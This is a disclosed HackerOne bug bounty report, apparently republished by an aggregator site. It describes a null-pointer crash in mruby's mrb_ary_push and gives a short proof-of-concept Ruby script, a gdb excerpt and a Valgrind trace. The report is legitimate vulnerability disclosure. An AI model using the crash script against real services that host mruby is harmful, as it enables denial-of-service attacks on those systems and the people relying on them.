Skip to content
DoS Disclosed report Advanced

Crash in mrb_ary_push

A crafted mruby script causes the interpreter to dereference a null array pointer inside mrb_ary_push, leading to a crash. An attacker who can supply Ruby code to mruby could crash the process, giving a denial of service.

dgaletic Follow

Originally disclosed on HackerOne

Bounty$800 View original
  • Triaged in 4 days
  • Fixed in 25 days
  • Paid in 26 days
  • Disclosed after 11 months

PoC

The following demonstrates a crash:

def method_missing(*)
end
{}.[]0[*0] %=
begin{0=>0}
00end

Debug info

The crash happens in mrb_ary_push:

495│ mrb_ary_push(mrb_state *mrb, mrb_value ary, mrb_value elem)
496│ {
497│   struct RArray *a = mrb_ary_ptr(ary);
498├─> mrb_int len = ARY_LEN(a);

(gdb) p a
$1 = (struct RArray *) 0x0

Valgrind report:

==17609== Memcheck, a memory error detector
==17609== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==17609== Using Valgrind-3.14.0.GIT and LibVEX; rerun with -h for copyright info
==17609== Command: mruby poc
==17609==
==17609== Invalid read of size 4
==17609==    at 0x136134: mrb_ary_push (array.c:498)
==17609==    by 0x16EEAE: mrb_vm_exec (vm.c:2614)
==17609==    by 0x1647E6: mrb_vm_run (vm.c:972)
==17609==    by 0x1787F7: mrb_top_run (vm.c:2999)
==17609==    by 0x1523E4: mrb_load_exec (parse.y:6013)
==17609==    by 0x1525C6: mrb_load_file_cxt (parse.y:6022)
==17609==    by 0x10DBF1: main (mruby.c:280)
==17609==  Address 0x0 is not stack'd, malloc'd or (recently) free'd

Test platform

  • Arch Linux

mruby SHA: a690aef8d3219e3123822e741e2bb7c97220425c

Thank you, Dinko Galetic Denis Kasak

Impact

DOS through crashing the mruby process.

The original report as published on HackerOne, by dgaletic. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely a null array value reaches mrb_ary_push without being checked, so the length field is read from a null pointer.

Impact

A denial of service: the mruby process crashes, which could take down whatever hosts it.

What the attacker needed

Ability to run a script in mruby

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

mruby is a small version of the Ruby programming language used inside other programs. A specially written script makes it treat a missing array as if it existed, so the program reads from an empty pointer and crashes. Anyone allowed to run code through mruby could therefore take the whole process down.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by dgaletic

View all

13 more disclosed reports, best first.

More from shopify-scripts

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.